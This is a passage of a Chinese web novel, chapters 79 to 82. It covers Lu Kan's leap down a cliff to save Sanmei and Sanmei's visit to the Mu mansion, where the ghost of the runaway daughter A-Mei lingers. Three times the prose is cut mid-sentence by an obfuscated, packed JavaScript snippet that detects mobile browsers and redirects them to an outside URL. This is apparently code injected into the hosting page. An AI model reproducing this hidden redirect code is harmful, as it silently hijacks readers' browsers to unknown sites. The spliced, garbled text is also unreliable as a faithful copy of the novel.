就在骏马快要冲落悬崖的瞬间,陆衎双腿夹紧马腹,双手紧握缰绳,猛然一个急转,于千钧一之际,迅速调整身体姿态,调动全身的肌肉,利用微妙的力量变化实现绝对的平衡,引导身下的骏马做出敏捷的闪避动作。 凭借精湛的骑术与冷静而准确的判断,陆衎快速又惊险地拐了个笔直的大弯,成功化险为夷。 亲眼目睹了全程的邢正,目瞪口呆,吓出了一身冷汗的同时,自心底对陆衎底油然而生一股,无限感慨和崇敬之意。 陆在野,就是一个拥有绝对掌控力的疯子! “之夜,陆在野他,之前也这样吗?” 之夜面色煞白,捂着有些生疼的心脏,整个人像是从水里捞起来一样,仿佛刚才九死一生是他自己的亲生经历一般,听见邢正的问题,呆愣愣地抬头:“啊?” 可怜的人,估计被吓坏了。 “没什么。”邢正摇头,马鞭向后一挥,重新策马跟了上去。 刚拐过弯,就被头顶一张巨大的蛛网唬了一大跳,前方不远处正燃烧着熊熊大火,一个特别熟悉的鸣啼声,瞬间响彻山野。 “咯咯咯!!!!” 小八耳的叫声! 这么凄惨,估计真出事了! 邢正飞快策马,直冲那窜火红的光亮而去,在浓烟弥漫的黑团里,发现了一只被蛛网包裹得严严实实架在碳火之上烧烤的小野鸡。 正是怒发冲冠的小八耳。 再看四周,没有发现三枚的身影,就连陆衎也不见了。 “嘎!”八耳怒吼一声,一双豆眼瞪得又圆又大,仿佛在说:愣着干啥,还不速速将本大爷救出来! 可恶的陆衎,居然见死不救,就那么哗啦啦地从自己的面前飞驰而过! 见死不救的陆衎,冲到悬崖边的时候,正好撞见三枚脱手坠落悬崖的瞬间。 他顿时目眦欲裂,心脏仿佛骤停,本能地从疾驰的骏马直接跃身而起。 陆衎一个箭步,以迅雷不及掩耳之势,迅速曲起五指,狠狠地钳住了涂远东的脑袋,将人往后用力一掼,头也不回,直接跳下悬崖。 之夜赶过来的时候,根本来不及阻拦,他双腿一软,扒着崖壁,声嘶力竭地吼道:“大人!” 79. 第 79 章 凛冽迅猛的风声,从陆衎的耳边快速呼啸而过。 望着底下的三枚歪着脑袋,眼神呆萌地看着自己,陆衎的心脏骤然一缩,恨不能降落的速度快点、再快点。 三枚肯定是吓坏了!否则她时隔这么久才看见自己,怎么可能一点惊喜都没有,反而蹙起了眉? 陆衎拧眉:刚才就该将那颗脑袋捏碎! 他气沉丹田,运气加速往下俯冲,终于在半山腰处,拥住了垂直降落的三枚。 失而复得一般,陆衎用力地抱紧了三枚,脑袋埋在她的颈侧,深呼吸了一口气,骤停的心跳,好像此刻才恢复了跳动。 他的声音发颤,也不知是在安慰三枚,还是在安慰自己,“别怕,我来了,没事了......” 不等三枚作出反应,将默认已经被吓傻了的人按在怀里,陆衎警惕地环顾着周围的环境。 然而两人抱在一起之后,坠落的速度骤然加快,眼睛被猛风刮得眼睛生疼,只能半眯着眼。 陆衎抬头,头顶除了糊成一团的白色光晕,什么也看不清,崖壁上凹凸不平的石块上,长满了滑腻的苔藓,他抱着三枚,试图踩着这些石块往上飞跃,然而一不小心失足,又滑落了下来,只能重头借力飞起。 他试了几次,仿佛原地踏步,简直徒劳无果,白白耗费体力。 然而低头又是暗无天日的深渊,而且随着他们坠落得越深入,周围光线越暗淡,他眯着眼睛,好像看见底下漂浮着的,像是白茫茫的雾气。 估计是有什么雾瘴之类的东西。 既然上不去,只有往下坠落到底一条路可走,那就只能赌一把。 陆衎将三枚抱得更紧,控制着下落的速度,即使脚底打滑,还是踩着崖壁,小心往下一点一点试探。 “陆衎?”呼啸的风声里,突然响起三枚有些闷闷的声音。 陆衎摸了摸她的发梢,轻声道:“我在。” “陆衎,真的是你吗?” 被陆衎按在怀里的脑袋往后一仰,三枚眨了眨湿漉漉的杏眸,摸着陆衎的左脸。 陆衎唇线缓缓上扬,大掌覆在她的手背上,柔声回她:“是我。” 他一腔柔情,以为三枚接下来的反应,该是非常欢喜感动,然后激动地抱紧自己,不想她却脸色一变,杏眸凶狠瞪大。 “你怎么会出现在这里?” 陆衎一愣:“我见你坠崖了——” 三枚恶狠狠地捶着陆衎的胸口,“所以就跟着往下跳啊!你疯了吗?不要命了啊,你看清是我了吗,就往下跳!搞错了怎么办?” 陆衎抱着三枚的手一紧,轻笑道:“不可能搞错——” “你还得意上了!”三枚气得脸颊涨红,还想再狠狠骂上几句,却见陆衎突然一脸傻笑地看着自己,再看他鬓边湿哒哒的乱发,眼前浮现他扑向自己时慌乱和恐惧的眼神,瞬间就嘴软了。 这家伙,半年不见,怎么还越来越好看了! 都城里的水,就那么养人吗? “笑什么笑!”差点被迷得七荤八素的三枚,回神后恼羞成怒,“不许笑!” 陆衎眼尾一挑,薄唇听话地抿了起来,眸中的笑意却是越漾越深。 三枚哼了一声,脸颊微红,故意别开视线。 这时才发现,自己和陆衎不知在什么时候,已经被漂浮的白雾包围了,周围的能见度也越来越差了。 她眉头轻蹙,坠崖后本想趁机进入黑渊之下一探究竟的,估计只能徐徐图之了。 若是只有自己也就罢了,现在陆衎在这里,不能让他陪着自己冒险。 三枚推了推陆衎,“你别抱这么紧,我喘不过气。” 陆衎身子一僵,差点被气笑了,抱着人的手故意更用力,屈膝在崖壁上蹬了一下,见三枚眉头轻蹙,手上的力道才不情不愿地松了一点。 两人抱得没那么紧密了,三枚才得以抽出另一只手来。 她一手撑在陆衎的肩上,探头往下看了一眼,侧着耳朵凝神细听。 耳边听到细微的铃铛声时,三枚立刻咬断腕上的红绳,将缠在绳上的两枚五铢钱,对着那声音的方向,用力往下一掷。 “啪!” 底下传来一个清脆的声响。 陆衎顺着三枚的视线望去,就见云吞雾绕之下,好像有什么东西泛着光泽,正在快速地向上膨胀。 他抱着三枚的手倏而收紧,又将她按回了怀里。 “没事,”三枚脑袋被紧紧埋在陆衎的胸口,小手拍了拍他的肩膀,声音沉闷地道,“那是我家的小棺椁。” 三枚的话音刚落,一只深棕色泛桐油光亮的鸡翅木雕棺椁,自下而上,慢慢地朝三枚他们升来。 棺椁的两端各贴了一枚五铢钱,陆衎眸光微闪,觉得有些眼熟,“这是......” 终于将脑袋从陆衎的怀里拔出来,三枚吹了吹贴在脸上的头发,“没错,就是锁魂箱里的那只小棺椁。” 陆衎闻言,抱着三枚蹬着崖壁上的石块,一个飞跃,便跳到了棺椁之上。 两人刚在棺椁上坐下,低头仔细查看三枚状况时,陆衎才发现她左手手背一片血肉模糊。 一把抓起三枚的手腕,眉头紧皱,陆衎:“怎么回事?”声音冷沉,又气又急。 “哦,没事,被只臭老鼠踩到罢了。”三枚不甚在意地道,想抽回手,却被陆衎一下子就拉进了怀里。 他低头,小心翼翼地在她的手背上吹了吹,心疼地道:“都没法看了,怎么可能没事?”说完在怀里摸出了个小瓶子,慢慢地将药粉倒在她的手背上。 “嘶。”手上吃痛,三枚忍不住轻哼一声。 “不是说没事吗?”陆衎抬眸,轻轻睨了她一眼,手上的动作更轻柔了些,边上药边小口吹风,“暂且先上点药,回去后再好好清洗包扎。” 看着陆衎絮絮叨叨给自己上药包扎的认真神情,三枚抿了抿唇,压了压嘴角的笑意。 “咳咳,你怎么会在这里啊?”她忽而问道。 陆衎包扎好,也没收放手,听见问话,眼神闪烁,倏而指着自己的手腕,道:“它好像燃烧一样火热。” 他将长袖往上稍微一拉,露出了腕上的五铢钱,就见铢钱已经恢复了正常,然而却在他的皮肤上留下了一个暗红色的印迹。 “它可能是知道你遇到了危险,急着回到你的身边。”陆衎不动声色地将三枚环在怀里,在她耳边轻声说道。 三枚眨眨眼,摸了摸陆衎腕上还有些发热的印迹,须臾晃了晃自己受伤的那只手,“可能是因为我流血受伤了。” 陆衎微微颔首,听三枚如此说道,不禁追问:“你怎么会在这里?那个将你推下悬崖的人,又是谁?到底发生了什么事?” 挠了挠后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13482189|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑勺,三枚皱着脸,拍了下大腿,摇头晃脑地道:“啧,此事呀,说来话长啊!” —— 一切还要从两天前说起。 三枚带着八耳,跋山涉水,终于抵达了锁魂箱里,最后一个冤魂的故土——黑山寨。 还未踏进黑山寨,锁魂箱里的亡灵便特别激动,犹如所有近乡情怯的游子一般,久久不能平静下来。 锁魂箱里的小棺椁,总是慈悲为怀,怜悯也包容着所有亡魂的各种情绪,三枚却被里头的小铃铛给吵得不得安生。 “人家是回到故乡了,情绪波动剧烈,你跟着激动个什么劲?” 她啪地打开锁魂箱,抓着摇响个不停的紫铜小铃铛,咬牙说道:“别吵吵,我耳朵疼。” 其实三枚更多是累的。 黑山寨建在巍峨的高山上,所处的地势险峻,山路陡峭,崎岖难行。 她背着锁魂箱,废了九牛二虎之力,气喘吁吁才终于爬上了山,双腿发软,又累又渴,恨不得就地倒下。 然而小铃铛却如同它身上的金属一样冰冷,一点共情能力都没有,发出的微弱声响,一直在三枚的耳边吵个不停,怎么不令人心情更加烦躁? 但她还是耐着性子,好声好气劝说一句。 “嗡嗡嗡——” 小铃铛听不懂人话一样,还在响个不停。 三枚眉头一拧,声音一沉:“趁我还没生气,你最好是安静一点。” 话音刚落地,耳边恼人的“嗡嗡”声,顿时戛然而止。 “哼。”三枚警告地睨了眼木箱里的小棺椁,见它也安分了下来,才将锁魂箱重新盖好。 “九十九步都走了,在最后一步完成之前,谁都别给我闹幺蛾子!” 她重新背好锁魂箱,将歪头呼哧呼哧喘着气的八耳放到肩上,慢吞吞地吐了口气,认命地往前挪步。 —— 千万年不变的金色阳光,倾斜在黑山寨古朴而苍老的寨墙之上,犬牙交错的墙垛影子投射在地面上,静静地诉说着经年的风霜雨露。 古朴的砖墙,苍劲的青瓦,木质的门窗和平坦的地面,每一处都凝聚着生活的痕迹,让人仿佛感受到,寨子里的人过着的是悠然自得、淳朴而惬意生活。 三枚漫步在静谧的寨子里,脚下踩过青石板交错铺就的地面,耳边徐徐飘过的风声,仿佛晨钟暮鼓的余音。 黑山寨里的一切,深深地吸引着她的目光。 寨子里的建筑,是统一的砖木结构脊坡式瓦房,分布错落有致。 值得一提的是,三枚观察过,黑山寨居然有八个寨门,看似根据“八宅风水”的方位设置,实则均未取正方向,而是稍稍错开了一点角度。 听山下的人说,黑山寨的规矩繁多冗杂,就连寨门的开闭,都有讲究。 八个寨门从来没有在同一时间开启过,更不曾同时关闭。根据不同的时辰,将开启不同方位的寨门,之前开启的便随之关闭。 然而什么时辰开启哪一个寨门,都是没有规律可言,其中关键,外人根本就无从得知。 三枚对此感到很是新奇,亦是嗅到了某种与众不同的神秘气息。 这也是她到了黑山寨后,没有像安葬其他亡魂一样,将装着骨灰的小坛子埋下,送完魂便走人,而是选择走进了寨子里。 黑山寨,似乎藏了无数无尽的故事。 80. 第 80 章 三枚背着锁魂箱,漫无目的地走在青石板路上,留心地观察着周围的一切。 已经辰时了,黑山寨却好似还沉浸在酣睡中,竟是一点人烟都没有,甚至连早起的鸟儿都不见一只,安静得连一丁点的声响都没有。 锁魂箱上八耳站得笔直,昂首挺胸,双目炯炯有神,斜眼环视着黑山寨。 直到晨曦的金光,完全地洒照在长街上,远处传来了清亮而悠扬的钟声,笼罩在阳光之下的各家各户,才接连发出窸窣响动。 咿呀嘎吱的开门声,轻重不一的走动声,哗啦啦的水流声,老人清痰的咳嗽声,小孩嬉闹哭吵声,大人轻哄吆喝声...... 各种各样的杂音混在在一起,接二连三地响起,像是被触动了那个开关,沉睡的黑山寨,犹如金色光芒下跳耀的细尘,一下子就活跃了起来。 没有人烟的长街,陆陆续续开始有人进出来往。 三枚就在这样显而易见的骤然变化下,走到了一座高大气派的朱门大宅院前。 恢弘的大宅院,门匾上镌刻着“木府”二字,厚重而古朴,令整个宅院看起来庄严而神秘。 高墙耸立,绿瓦覆顶,仿佛与世隔绝、遗世独立。 绿苔藓爬满了高墙上的砖石,绿意丛丛,仿若岁月沉淀。 宽阔的朱红色大门,雕刻着精致纹路的铜制门钹,门前立着两座威武的石狮,忠心耿耿地守卫着大宅的安宁。 三枚走到墙根下,仔细看着覆盖在砖石上的苔藓,刚要伸手摸上去的时候,身后突然传来一个苍老的女声。 “敢问师父,是从哪里来的?” 眼尾一挑,三枚扭头,就见另一处墙角下,站着一个年过古稀的老妇。 无声无息地出现,仿佛早就站在那里等着一般。 老妇脸上布满皱纹,岁月在她的脸上雕刻下了不凡的经历,她的身材略微臃肿,穿着整洁干净的暗色罗裳。 她气质沉敛和蔼,神态安然,一脸慈祥地看着三枚,由内而外散着一种温暖和宁静的氛围。 见三枚转过身来,老妇屈膝,轻轻地对她行了一礼,“冒昧惊扰师父,还请原谅则个。” 杏眸眨了眨,三枚抬手,挠了挠自己随手团在后脑勺的发髻,微微侧了侧身,对着老妇微微颔首,算是回了一礼。 “在下,自湖州无眉山而来。”她说。 “湖州?”老妇古井无波的眼眸猛然一颤,神情刹那比变得有些激动,她颤声确认道:“那个传闻里说的,断崖绝壁的无眉山?” 怎么她家的山头,江湖上这么有名的吗?还是说断崖绝壁比较招人稀罕? 三枚想不明白,但还是点头道:“正是——” “天爷!” 老妇激动地双手合十,端庄沉稳的气质骤然一变,朝着天空一拜,神神叨叨地道:“老天有眼,老天保佑,云达终于......终于把人给请来了。” 云达?请人? 这老妇家里,也送了人到自家山下守着吗? 寻尸山门序家,所在的无眉山下,时不时会聚集一群来自五湖四海的外来客。 有些是慕名而来的游商浪客,有些是为了找寻失散多年杳无音讯的家人而来。 她们山门每隔一段时间,总派出几个门下人,专门帮助那些失孤的可怜人,为其寻找失散亲人。 但像三枚这种拥有梦铃、能够带入幻梦的寻尸人,只接受死人的委托。 其中的弯弯绕绕,寻常百姓根本分辨不清,眼前这个老妇估计也是误会了什么。 “啧,真是令人头疼。” 三枚挠头,正想开口解释两句,头顶忽而略过一只飞鸟,忍不住抬眸扫了一眼,回眸却见老妇已是泪流满面。 她不由一顿,话到嘴边,有些欲言又止,又有些不知所措。 而背后的锁魂箱恰在此时,好像发出了激动的呜咽声,三枚拧眉,侧耳再听,却又什么都听不见了。 这时,老妇喃喃地拜完老天爷,回神后一抹泪水,竭力克制着剧烈起伏的情绪,朝三枚又是行了一礼。 “师父稍等,老奴这便折身禀报老夫人。” 她说完不等三枚回应,敏捷地一转身,快速地拐进侧边的小门,很快便没了身影。 于是三枚便错过了开口的时机,被留在了原地,一头雾水地向后一瞥眼,与眯着眼趾高气昂的八耳面面相觑了起来。 —— 三枚被恭恭敬敬请进了古朴雅韵的木府大宅。 “还请师父见谅,昨儿是咱黑山寨一年一度的万谷节,咱木府的主子们全都进山酬拜去了——您小心脚下台阶。”老妇走在前头引路,小脚碎步颇为快速。 从她消失在小门,到重新出现在三枚的面前,不过短短半刻钟。 再看大宅宽敞深远,视野开阔,屋舍俨然的内部构造,老妇脚程再快,要在那么短的时间内出现在大宅门口,只能是用跑的。 老妇发白的鬓角微湿,气息微喘,面上却端着初见时的从容微笑。 三枚拾阶而上,问道:“老人家怎么称呼?” 引路的老妇一顿,忽而喜笑颜开,道:“老奴姓许,是木府老夫人身边的一个跑腿的妈妈。” 看那开门的守卫,和身后跟着的几个丫鬟对老妇的恭敬态度,老妇的地位绝对不是一个跑腿的妈妈那般简单。 但三枚也只是眨了眨眼,并不多言,淡声称她:“许妈妈。” 许妈妈含笑点头,“其实咱们黑山寨几乎大半的人都还在山里呢,所以今儿街道上才那般冷清。” “咱木府的正经主子,全都跟着老太爷进山酬拜,家里就剩咱老夫人守着家。” 许妈妈一边引着三枚走上长廊,一边絮絮叨叨地解释道:“老太太腿脚不便,所以才没能亲自到迎接师父,还请师父见谅。” 三枚:“许妈妈客气,在下并非什么师父,不过区区一介凡人。” 许妈妈听完三枚的话,眼里的敬意更深了,心道:“果然有德才之人,就是谦逊啊!” 木府大宅不愧乃大户人家的宅子,许妈妈带着三枚走走绕绕,宛如行走在一座迷宫里,总是走不到尽头。 又转过一个大直弯,三枚被带进了一座敞阔的院子里。 许妈妈:“老夫人年事已高,又好清静,平日便只呆这怡心园里修养念佛。” 她边说边领着三枚往里走。 刚要迈上廊道,身后忽而刮过一阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13543840|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷风,三枚回头,就见院子另一边的走廊上,有个年轻女子倚在栏杆上,正对着她们所在的方向,痴痴地笑。 三枚觉得那女子脸上的笑颇为诡异,不由顿住脚步,与她对视了一眼。 “师父?” 许妈妈见三枚没有跟上,折身返回几步,轻声唤道。 又是一阵迷人眼的乱风吹过,三枚不为所动,杏眸一眼不错地顶着对面倚在栏杆上的女子,就在许妈妈靠近三枚身边的瞬间,女子霎时化作一股雾气,倏而便消失不见。 幽冥。 三枚抬眸,顺着那阵飘散的雾气,仰头看向了二楼的方向。 雾气又凝聚成了女子的模样,倚在栏杆的美人靠上,兰花指指着三枚,掩唇痴痴地笑了起来。 “云阁。” 走到三枚身边的许妈妈,顺着三枚的方向,声音清幽地道:“咱们黑山寨的姑娘小姐们,自从七岁起,不能见三尺以上的男童,。” “所以未出阁的姑娘家,都有这么样一个云阁,专为小姐们解闷望远用的。” 三枚挑眉,看了许妈妈一眼,确定她看不见楼上巧笑嫣然的少女,垂在身侧的手,不动声色地摸了下背后的锁魂箱。 从进入木府到现在,躲在小棺椁里的冤魂,一直在瑟瑟发抖,现在更是怕得在里头横冲直撞,快要将自己的魂体给撞散了。 是认识上头的幽冥,还是另有隐情? “这是你们木府,哪位小姐的云阁?”三枚与那幽冥对视,开口问道。 许妈妈眉眼一耷拉,神情瞬间变得哀伤了起来,她张口欲言,院子里却突然“下雨”了。 “哗啦啦!” 雨水顺着四面房檐稀里哗啦落下,檐下用挡板挡着,溅不到边上的行人,雨水顺着挡板,直接汇集落入了楼下正中的池子里。 “哎哟,哪个小崽子手又贱了!”许妈妈叉腰骂了一句,指着后边一个丫鬟,沉声喝道:“赶紧把人给我逮住,看我今儿不扒他一层皮!” 小丫鬟屈膝:“是,妈妈。”说完绕到后方专供丫鬟的通道,小跑着拿人去了。 四射的雨雾中突现彩虹,看着倚在美人靠上的女人,一脸恶作剧成功的高兴欢脱劲儿,三枚嘴角也跟着一扬。 “看来生前,也是个爱笑的捣蛋鬼。” 越过发火的许妈妈,三枚不再看向云阁,而是转身走上了廊道,不再理会朝自己挤眉弄眼的女子。 许妈妈一愣,赶紧跟在后头,强笑道:“让师父见笑了,请您先在正堂稍等片刻,老奴这便去请老夫人。” 三枚颔首,随着许妈妈跨过门槛,走进了一间古朴的房间。 许妈妈让丫鬟为她斟茶倒水,自己则先退下请人去了。 三枚见状,绕着堂内缓缓踱步一圈,她走到了门口,仰头一看,又见二楼的云阁,在七彩光的照耀下,闪闪发光。 “那是我家阿梅的云阁。” 顺着声音望去,就见许妈妈正扶着一位满头银发、雍容华贵的老者,脚步蹒跚地走到自己的身边。 老者拄着拐杖,与三枚并肩站在堂口,仰头望着云阁的方向。 “小师父,你说,老身我还能等到阿梅回来的那一天吗?” 81. 第 81 章 “有甚好哭的?寨里寨外,山里山下,哪里没带你去过?外面的世界就那样,没什么新奇的。” 木清梅趴在床上,哭得双肩发颤,听见身后母亲不以为意的话语,气得小手狠狠垂在软枕上。 “不一样!” 她带着哭腔吼道:“我自己玩腻了不想出门是一回事,你们把我关在家里不让出去,完全就是在束缚我!” “不顾我的意愿强行将我圈在院子里,这跟囚禁犯人有什么区别!” “你!” 美艳的少妇拍案而起,怒指着木清梅:“全家平日对你百般顺从,千般宠溺,竟是纵得你性情越发骄横,口无遮拦,如今这样混账的胡话都说得出口!” “许妈妈,”少妇气得胸膛剧烈起伏,却还是舍不得说教太狠,更狠不下心动手,只能压着怒火,对着边上的仆妇道,“这小闺女我是越发管教不了了,你、你好好跟她说说道理。” 没让打,没让骂,只让给说道理,主子果然还是心软的。 “少夫人,莫动气。” 许妈妈扶着少妇坐好,顺了顺貌似气狠了的主子,又看了看趴在床上埋头不起,又不肯服输的小姐,脸上浮着慈爱的笑意,“小姐不过是一时没想明白,话赶话总是不好听,不是故意忤逆您的。” “你喝口清茶顺顺气,奴这就去劝劝小姐。” 好不容易将大的安抚住了,许妈妈轻巧转身,小脚踩着碎步,缓缓地移到脚踏边,她微微弯下身子,小声道:“小姐,小姐呀,您把头稍稍抬抬,别憋着气了。” “你快些把眼泪擦擦,奴带您去个好地方,保管让您喜笑颜开。” 小孩子好哄,许妈妈声音虽然又轻又小,却是一字不差地落在了她的耳朵里,特别是那神神秘秘的语气,一下子就吸引住了木清梅的注意力。 瞧,本来还撒泼耍赖,趴在床上又捶又打的小小人儿,嘤嘤哭声霎时一顿,打了个秀气的哭嗝,她将脑袋稍微一撇,嘟哝道:“什么好地方?” 憋笑的许妈妈,与身后少妇对视一眼,见主子眼含笑意轻轻点头,遂将手指望窗外一指。 “那儿,云阁哩。” —— “娘的阿梅啊,你这又是闹哪般?” 木清梅扯着袖子,跺了跺脚,“我不想整天呆在云阁里,我想出去散散心。” “你心怎么了,就得出门散?院儿这般大,加上个云阁,还能把你的心堵着了?” 木清梅:“整天绣花练琴学画的,我都烦透了!云阁我也呆腻了,我感觉自个儿就像那井底之蛙,再怎么挑起脚尖登高,望见的也只是那一片狭小的角落,五年了,闷都闷死了!” “我不出寨子,就在咱门口附近转一圈——” “不行!”美艳的少妇已成端肃的上位者,容色严厉,“黑山寨的规矩,难不成你身边的妈妈没给你教过?” “你看哪家的姑娘像你这般,整天想着抛头露面外出撒野的?一点体统都没有!” “我就要出去!就要出去!我烦死了闷死了,不出去我就要死了,我的心堵死了,人也活不成了,啊啊啊,我就要出去!” “闭嘴!谁教你动不动就将死啊活的挂在嘴边的,太不像话了!”妇人气得满脸涨红,抄起桌上的茶盏就要摔去。 许妈妈连忙伸手拦着,“夫人,夫人!小心伤着!” “小姐,您说的这话,可真是不吉利的呀!还不快点想夫人认个错,赶紧摸着木头啐掉晦气。” 小姑娘脾气越发不好哄了,扭身“砰”地一下坐到了榻上,背对着人谁也不理了。 “瞧瞧,瞧瞧,她还使上性子了!”木夫人气得浑身发颤,捂着心脏一脸心痛的模样。 许妈妈赶紧给她顺气,小声耳语道:“您别急啊,小姐又不是第一天这样了,好好哄哄就过去了,交给奴来劝,可好?” “哼!”木夫人甩开许妈妈的手,“她这性子就是你给惯的!”说完也别开了脸,却也没再说其他的话,算是默许了。 许妈妈暗暗松了口气,擦了擦额角急出的汗渍,慢吞吞地走到木清梅的身边。 “小姐,您能跟奴仔细说说,这次又为何非要出门不可吗?” 木清梅小脸一扭,过了一会儿,才气呼呼地道:“我云阁下头的池子,如今都好几年了,前儿才发现,里头除了一池子水,竟是空荡荡,什么也没有。” “早起听见外头有摊贩在吆喝,什么金鱼乌龟,我就想着......”说着说着,小姑娘委屈地哭了起来。 木夫人一听哭声,就又心疼上了,不由正过脸来:“你使唤几个丫鬟啥的,将东西买来不就行了吗?” 非得闹上这么一出,惹得所有人都不愉快。 “什么都你们安排妥当了,我就想亲自挑选,还不行了吗?”小姑娘一下又炸了。 许妈妈赶紧扶着人,轻轻为她顺着气:“哎哟,奴的小姐啊,您可莫哭也莫急啊。” “巧了不是,夫人方才还吩咐奴,买下了那商贩吆喝的金鱼和龟儿,正是为了给您云阁里的池子准备的。真不愧是母女俩,心有灵犀啊。” “真的?”木清梅眼角含泪,睁着大眼睛半信半疑,楚楚可怜地看着许妈妈,“别又是忽悠我的。” “哎哟,小姐啊,您快将眼泪擦擦,赶紧跟着奴出去瞧瞧,不就知道了吗?” 天真的小姑娘,听完直接破涕为笑,一下子就跳了起来,提着裙角几步就跑到了门边,对着许妈妈招手,急不可耐地道:“哪儿呢?快带路呀。” “诶,奴这就来。”许妈妈响亮地应了一声。 榻上的贵妇人看着变脸跟变天似的的小闺女,直接被气笑了,扶着许妈妈的手慢腾腾地站了起来,蔻丹对着许妈妈一指,“还得是许妈妈,能治住这缠人的祖宗。” —— “我的阿梅,心里向往的,终究还是外头的世界。” 天真未经世事的小姑娘,总觉得四四方方的天地,困住她的手脚,束缚了她的自由和灵魂,所以逃了了。 在一个月黑风高的夜晚,在黑山寨一年一度的万谷节,所有人都忙着前往黑渊酬拜的时候,带着自己的小丫鬟逃了。 “会回来的,等阿梅看腻了外面的世界,自然就会回来的。” 说一不二的木夫人,就等在怡心园里。 然而,从木府掌权的木夫人,等成了垂垂老矣的木府老夫人,一头如瀑墨发转瞬成了苍苍银丝,也没等到她的阿梅。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556425|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“咿呀~” 云阁的厚重大门被推开,三枚跟在木老夫人和许妈妈的身后,走进了云阁小院。 首先入目的,便是那小巧玲拢的彩阁,两边飞檐上翘,木栏杆典雅精致。 楼额正面还有一块华丽的额匾,为“锦绣”二字。 院子干净整洁,正中的池子里池水清澈见底,水池里养着乌龟和金鱼。 里头的金鱼不见几只,乌龟却有各种大小。 “池子里的老龟,买来的时候就有铜盆那般大,贩卖的摊贩拍下豪言壮语,说是已经有三四百年的年龄了。”许妈妈见三枚盯着池子里的乌龟瞧,轻声为她解释道。 水池里的乌龟,十分悠哉地游啊游,其中,还有只小乌龟还趴在一只硕大的大乌龟的背上玩。 三枚点点头,并未说话。 之前在廊道那儿看见的少女幽冥,就在她们的前方,双手背在身后倒着走,神色自豪地看着三枚。 跟着人往里走,三枚才发现,登上云阁的木楼梯,原来就设置在室内。 “小师父,老身腿脚不便,就由许妈妈带着您上楼看看吧。” 木老夫人像是走累了,被扶着到一楼的正堂落座,一脸疲惫地对着三枚说道。 许妈妈动作敏捷地在木老夫人的身后放了一个靠垫,稍稍整理了下她身上的衣裙,才对着三枚一屈膝,“师父,您请。” 三枚颔首:“有劳许妈妈。” —— 沿着木梯上至二楼,就来到了小姐的“云阁”。 许妈妈:“南面是阿梅小姐的房间,正对的北面,是丫鬟的房间。” 三枚挑眉,发现大户小姐的闺房,木头上的漆竟都是描金的。 她站在小姐的门口,看向对面相对有些简陋的丫鬟房间时,隐约有种微妙的俯视感。 她眯眼仔细一瞧,看到丫鬟门口的房檐处有块大大的挡板,挡板低矮简陋,进出估计要低着头或者稍微弯下腰,才不会磕碰到脑袋。 三枚心里不由想到了一句俗语:人在屋檐下,不得不低头。 转头一眼,小姐的房间,果然没有这块东西,扶着栏杆,三枚向下俯瞰一楼,底下景物尽收眼底,视野很是开阔明朗。 许妈妈撩开挡帘,“师父,请。” 三枚正要跨过门槛,忽而一转头,望向二楼对面,“对面,设了个佛堂?” 许妈妈一愣,“是。本来对面是小姐的琴房,但小姐向来不喜音律。出走后,老夫人因思女心切,便将琴房撤了,改成了个小小的佛堂,命下人每日染香礼佛,为阿梅小姐祈福保平安。” “嗯哼。”三枚听完许妈妈的话,若有所思点了点头,没再说什么,径直进了小姐的闺房。 闺房并无奇特之物,床铺、茶几,书桌、摆件,各种稀奇的小玩意儿,一应俱全。 床下脚踏上还一边一个放了两个小几,一个摆放茶壶水杯,一个摆放古书游记。 三枚环视了一圈,忽而见那少女幽冥,不知何时坐到了床上,怀里抱着一个破破烂烂的婴儿枕,嘴巴一张一合地哼着不知名的歌谣。 “摇啊摇,晃啊晃,婴婴困觉,阿母笑。 摇啊摇,晃啊晃,婴婴困觉长~俏~俏——” 82. 第 82 章 “摇啊摇,晃啊晃,婴婴困觉,阿母笑。 摇啊摇,晃啊晃,婴婴困觉长~俏~俏——” 幽冥少女闭着眼睛,忘我地哼唱着童谣,哼着哼着,眼角慢慢流下了两行血泪。 这旋律,听着莫名耳熟,好像在哪里听过一两次的样子。 三枚眉头轻蹙,看了眼身侧的许妈妈,忽而开口问道:“许妈妈,你有听见什么声音吗?” “声音?没有啊。”许妈妈倏而一愣,紧张地咽了口口水,“老奴、老奴什么也没听见——” 不知想到了什么,她捂着嘴巴,老眼瞬间盈满了泪花,“师父,是不是、是不是......” 拧着的眉头很快又舒展,三枚手指往外一指,淡声道:“外头,好像又下雨了。” “啊?”许妈妈又是一愣。 她歪着脑袋侧耳倾听,外头果然又响起了哗啦啦的下雨声。 眼眶里打转的泪花倏而一收,许妈妈松了一大口气,继而燃起熊熊怒火,她一把撸起袖子,怒气冲冲地道:“师父稍待,老奴去去就回。” 